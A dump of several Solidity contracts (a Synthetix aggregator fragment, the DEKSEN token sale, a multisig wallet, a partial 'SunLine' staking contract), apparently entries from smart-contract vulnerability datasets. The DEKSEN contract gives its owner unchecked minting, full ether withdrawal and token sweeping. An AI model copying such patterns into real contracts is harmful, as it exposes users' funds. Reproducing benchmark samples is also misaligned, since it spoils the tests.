function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address) {
address _foundAddress = repository[name];
require(_foundAddress != address(0), reason);
return _foundAddress;
}
function getSynth(bytes32 key) external view returns (address) {
IIssuer issuer = IIssuer(repository["Issuer"]);
require(address(issuer) != address(0), "Cannot find Issuer address");
return address(issuer.synths(key));
}
event AddressImported(bytes32 name, address destination);
}
interface IDebtCache {
// Views
function cachedDebt() external view returns (uint);
function cachedSynthDebt(bytes32 currencyKey) external view returns (uint);
function cacheTimestamp() external view returns (uint);
function cacheInvalid() external view returns (bool);
function cacheStale() external view returns (bool);
function isInitialized() external view returns (bool);
function currentSynthDebts(bytes32[] calldata currencyKeys)
external
view
returns (uint[] memory debtValues,
uint futuresDebt,
uint excludedDebt,
bool anyRateIsInvalid);
function cachedSynthDebts(bytes32[] calldata currencyKeys) external view returns (uint[] memory debtValues);
function totalNonSnxBackedDebt() external view returns (uint excludedDebt, bool isInvalid);
function currentDebt() external view returns (uint debt, bool anyRateIsInvalid);
function cacheInfo()
external
view
returns (uint debt,
uint timestamp,
bool isInvalid,
bool isStale);
function excludedIssuedDebts(bytes32[] calldata currencyKeys) external view returns (uint[] memory excludedDebts);
// Mutative functions
function updateCachedSynthDebts(bytes32[] calldata currencyKeys) external;
function updateCachedSynthDebtWithRate(bytes32 currencyKey, uint currencyRate) external;
function updateCachedSynthDebtsWithRates(bytes32[] calldata currencyKeys, uint[] calldata currencyRates) external;
function updateDebtCacheValidity(bool currentlyInvalid) external;
function purgeCachedSynthDebt(bytes32 currencyKey) external;
function takeDebtSnapshot() external;
function recordExcludedDebtChange(bytes32 currencyKey, int256 delta) external;
function updateCachedsUSDDebt(int amount) external;
function importExcludedIssuedDebts(IDebtCache prevDebtCache, IIssuer prevIssuer) external;
}
// https://docs.synthetix.io/contracts/source/interfaces/isynthetixdebtshare
interface ISynthetixDebtShare {
// Views
function currentPeriodId() external view returns (uint128);
function allowance(address account, address spender) external view returns (uint);
function balanceOf(address account) external view returns (uint);
function balanceOfOnPeriod(address account, uint periodId) external view returns (uint);
function totalSupply() external view returns (uint);
function sharePercent(address account) external view returns (uint);
function sharePercentOnPeriod(address account, uint periodId) external view returns (uint);
// Mutative functions
function takeSnapshot(uint128 id) external;
function mintShare(address account, uint256 amount) external;
function burnShare(address account, uint256 amount) external;
function approve(address, uint256) external pure returns (bool);
function transfer(address to, uint256 amount) external pure returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
function addAuthorizedBroker(address target) external;
function removeAuthorizedBroker(address target) external;
function addAuthorizedToSnapshot(address target) external;
function removeAuthorizedToSnapshot(address target) external;
}
//import "@chainlink/contracts-0.0.10/src/v0.5/interfaces/AggregatorV2V3Interface.sol";
interface AggregatorV2V3Interface {
function latestRound() external view returns (uint256);
function decimals() external view returns (uint8);
function getAnswer(uint256 roundId) external view returns (int256);
function getTimestamp(uint256 roundId) external view returns (uint256);
function getRoundData(uint80 _roundId)
external
view
returns (uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound);
function latestRoundData()
external
view
returns (uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// Libraries
// https://docs.synthetix.io/contracts/source/libraries/safedecimalmath
library SafeDecimalMath {
using SafeMath for uint;
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
uint public constant UNIT = 10**uint(decimals);
uint public constant PRECISE_UNIT = 10**uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10**uint(highPrecisionDecimals - decimals);
function unit() external pure returns (uint) {
return UNIT;
}
function preciseUnit() external pure returns (uint) {
return PRECISE_UNIT;
}
function multiplyDecimal(uint x, uint y) internal pure returns (uint) {
return x.mul(y) / UNIT;
}
function _multiplyDecimalRound(uint x,
uint y,
uint precisionUnit) private pure returns (uint) {
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, UNIT);
}
function divideDecimal(uint x, uint y) internal pure returns (uint) {
return x.mul(UNIT).div(y);
}
function _divideDecimalRound(uint x,
uint y,
uint precisionUnit) private pure returns (uint) {
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
function divideDecimalRound(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, UNIT);
}
function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
function decimalToPreciseDecimal(uint i) internal pure returns (uint) {
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
function preciseDecimalToDecimal(uint i) internal pure returns (uint) {
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
// Computes `a - b`, setting the value to 0 if b > a.
function floorsub(uint a, uint b) internal pure returns (uint) {
return b >= a ? 0 : a - b;
}
function signedAbs(int x) internal pure returns (int) {
return x < 0 ? -x : x;
}
function abs(int x) internal pure returns (uint) {
return uint(signedAbs(x));
}
}
//import "@chainlink/contracts-0.0.10/src/v0.5/interfaces/AggregatorV2V3Interface.sol";
// aggregator which reports the data from the system itself
// useful for testing
contract BaseOneNetAggregator is Owned, AggregatorV2V3Interface {
using SafeDecimalMath for uint;
AddressResolver public resolver;
uint public overrideTimestamp;
constructor(AddressResolver _resolver) public Owned(msg.sender) {
resolver = _resolver;
}
function setOverrideTimestamp(uint timestamp) public onlyOwner {
overrideTimestamp = timestamp;
emit SetOverrideTimestamp(timestamp);
}
function latestRoundData()
external
view
returns (uint80,
int256,
uint256,
uint256,
uint80)
{
return getRoundData(uint80(latestRound()));
}
function latestRound() public view returns (uint256) {
return 1;
}
function decimals() external view returns (uint8) {
return 0;
}
function getAnswer(uint256 _roundId) external view returns (int256 answer) {
(, answer, , ,) = getRoundData(uint80(_roundId));
}
function getTimestamp(uint256 _roundId) external view returns (uint256 timestamp) {
(, , timestamp, ,) = getRoundData(uint80(_roundId));
}
function getRoundData(uint80)
public
view
returns (uint80,
int256,
uint256,
uint256,
uint80);
event SetOverrideTimestamp(uint timestamp);
}
contract OneNetAggregatorsAAVE is BaseOneNetAggregator {
bytes32 public constant CONTRACT_NAME = "OneNetAggregatorsAAVE";
constructor(AddressResolver _resolver) public BaseOneNetAggregator(_resolver) {}
function getRoundData(uint80)
public
view
returns (uint80,
int256,
uint256,
uint256,
uint80)
{
// Fixed price of $90.5805 as defined in SIP-293.
uint fixedPrice = 90580500000000000000;
uint dataTimestamp = now;
return (1, int256(fixedPrice), dataTimestamp, dataTimestamp, 1);
}
}
| 152,632 | 13,238 |
39ffa27ff09f9600688519cb218cda84a0b5e67f0e8bdace31d90efa602dd8c7
| 10,516 |
.sol
|
Solidity
| false |
464846914
|
1052445594/ScrawlD
|
fe09170b492d3757050b3e5e14430140a3407b45
|
contracts/0xdfa66ec49cf0102fb8906ee3dd6a70597d9720d4.sol
| 2,723 | 10,293 |
pragma solidity ^0.4.25;
// ----------------------------------------------------------------------------
// 'Deksten
//
// NAME : DEKSEN
// Symbol : DEKS
// Total supply: 500,000,000
// Decimals : 8
//
//
// -----------------------------------------------------------------------------
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DEKS is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "DEKSEN";
string public constant symbol = "DEKS";
uint public constant decimals = 8;
uint public deadline = now + 45 * 1 days;
uint public round2 = now + 35 * 1 days;
uint public round1 = now + 30 * 1 days;
uint256 public totalSupply = 500000000e8;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 200; // 0.005 Ether
uint256 public tokensPerEth = 10000e8;
uint public target0drop = 12000;
uint public progress0drop = 0;
address multisig = 0xae4B0D603B563A3b26a585e5cF43f1Fb6f75295C;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 100000000e8;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require(_amount > 0);
require(totalDistributed < totalSupply);
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 2;
uint256 bonusCond2 = 1 ether;
uint256 bonusCond3 = 3 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 50 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 75 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 25 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 50 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 10e8;
if (Claimed[investor] == false && progress0drop <= target0drop) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require(msg.value >= requestMinimum);
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if(now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require(msg.value >= requestMinimum);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
| 229,567 | 13,239 |
ce59288a8663a4beff96adeb8078367d364abbaeaf1c60ed785c31502dbc00dc
| 14,582 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x7a46c781b593068d5e987b191e9c2f7413e22aee.sol
| 3,249 | 14,322 |
pragma solidity 0.4.19;
interface token {
function transfer(address _to, uint256 _value) public;
}
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
contract MultiSigWallet {
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
event EthDailyLimitChange(uint limit);
event MtcDailyLimitChange(uint limit);
event TokenChange(address _token);
uint constant public MAX_OWNER_COUNT = 10;
mapping(uint => Transaction) public transactions;
mapping(uint => mapping(address => bool)) public confirmations;
mapping(address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
uint public ethDailyLimit;
uint public mtcDailyLimit;
uint public dailySpent;
uint public mtcDailySpent;
uint public lastDay;
uint public mtcLastDay;
token public MTC;
struct Transaction {
address destination;
uint value;
bytes data;
string description;
bool executed;
}
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
modifier validDailyEthLimit(uint _limit) {
require(_limit >= 0);
_;
}
modifier validDailyMTCLimit(uint _limit) {
require(_limit >= 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable public
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required, uint _ethDailyLimit, uint _mtcDailyLimit)
public
validRequirement(_owners.length, _required)
{
for (uint i = 0; i < _owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
ethDailyLimit = _ethDailyLimit * 1 ether;
mtcDailyLimit = _mtcDailyLimit * 1 ether;
lastDay = toDays(now);
mtcLastDay = toDays(now);
}
function toDays(uint _time) pure internal returns (uint) {
return _time / (60 * 60 * 24);
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i = 0; i < owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i = 0; i < owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows to change the eth daily transfer limit. Transaction has to be sent by wallet.
/// @param _limit Daily eth limit.
function changeEthDailyLimit(uint _limit)
public
onlyWallet
validDailyEthLimit(_limit)
{
ethDailyLimit = _limit;
EthDailyLimitChange(_limit);
}
/// @dev Allows to change the mtc daily transfer limit. Transaction has to be sent by wallet.
/// @param _limit Daily mtc limit.
function changeMtcDailyLimit(uint _limit)
public
onlyWallet
validDailyMTCLimit(_limit)
{
mtcDailyLimit = _limit;
MtcDailyLimitChange(_limit);
}
/// @dev Allows to change the token address. Transaction has to be sent by wallet.
/// @param _token token address.
function setToken(address _token)
public
onlyWallet
{
MTC = token(_token);
TokenChange(_token);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param description Transaction description.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, string description, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, description, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param _to Destination address.
/// @param _value amount.
function softEthTransfer(address _to, uint _value)
public
ownerExists(msg.sender)
{
require(_value > 0);
_value *= 1 finney;
if (lastDay != toDays(now)) {
dailySpent = 0;
lastDay = toDays(now);
}
require((dailySpent + _value) <= ethDailyLimit);
if (_to.send(_value)) {
dailySpent += _value;
} else {
revert();
}
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param _to Destination address.
/// @param _value amount.
function softMtcTransfer(address _to, uint _value)
public
ownerExists(msg.sender)
{
require(_value > 0);
_value *= 1 ether;
if (mtcLastDay != toDays(now)) {
mtcDailySpent = 0;
mtcLastDay = toDays(now);
}
require((mtcDailySpent + _value) <= mtcDailyLimit);
MTC.transfer(_to, _value);
mtcDailySpent += _value;
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param description Transaction description.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, string description, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination : destination,
value : value,
description : description,
data : data,
executed : false
});
transactionCount += 1;
Submission(transactionId);
}
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getTransactionDescription(uint transactionId)
public
constant
returns (string description)
{
Transaction storage txn = transactions[transactionId];
return txn.description;
}
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i = 0; i < transactionCount; i++)
if (pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i = 0; i < count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i = 0; i < transactionCount; i++)
if (pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i = from; i < to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
| 218,056 | 13,240 |
daa0d85f6b0524a330ad3ae045d47ccb9f9fbce0dce53a2d4722368e59721020
| 21,834 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xC3e25AAC52d467B16081C7a2695636D9593071bA/contract.sol
| 4,220 | 15,026 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
contract SunLine{
using SafeMath for uint256;
struct User{
//uint256 singleStake;
uint256 stakeFil;
uint256 recommendFil;
address recommend;
address[] members;
address subordinate;
address recommendSingle;
uint256 singleReward;
uint256 sunReward;
uint256 myWith;
uint8 level;
// uint256 help;
}
mapping(address=>User) userInfo;
mapping(uint8=>uint256) rate;
address[] public userSum;
uint256 totalStake;
uint256 totalWith;
address manager;
address fil;
address seFee;
address recovery;
constructor(){
manager = msg.sender;
}
function getApprove(address _customer) public view returns(bool){
uint256 amount = IERC20(fil).allowance(_customer, address(this));
if(amount >=10000e8){
return true;
}else{
return false;
}
}
function setRateMapping(uint8 _lev,uint256 _rate) public{
require(msg.sender==manager,"Ping:No permit");
rate[_lev] = _rate;
}
function changOwner(address _owner) public{
require(msg.sender==manager,"Ping:No permit");
manager = _owner;
}
function getWithRate(uint8 _lev) public view returns(uint256 _rat){
_rat = rate[_lev];
}
function getUserInfo(address _customer) public view returns(uint256 _stakeFil,uint256 _recoFil,
uint256 _sinReward,uint256 _sunReward,uint256 _with,uint8 _level,address _sunReco,
address _sinReco,address[] memory _members,uint256 _mems){
User storage user = userInfo[_customer];
// _sinStake = user.singleStake;
_stakeFil = user.stakeFil;
_recoFil = user.recommendFil;
_sinReward = user.singleReward;
_sunReward = user.sunReward;
_with = user.myWith;
//_help = user.help;
_level = user.level;
_sunReco = user.recommend;
_sinReco = user.recommendSingle;
_members = user.members;
_mems = user.members.length;
}
function getUserReward(address _customer) public view returns(uint256 amount){
User storage user = userInfo[_customer];
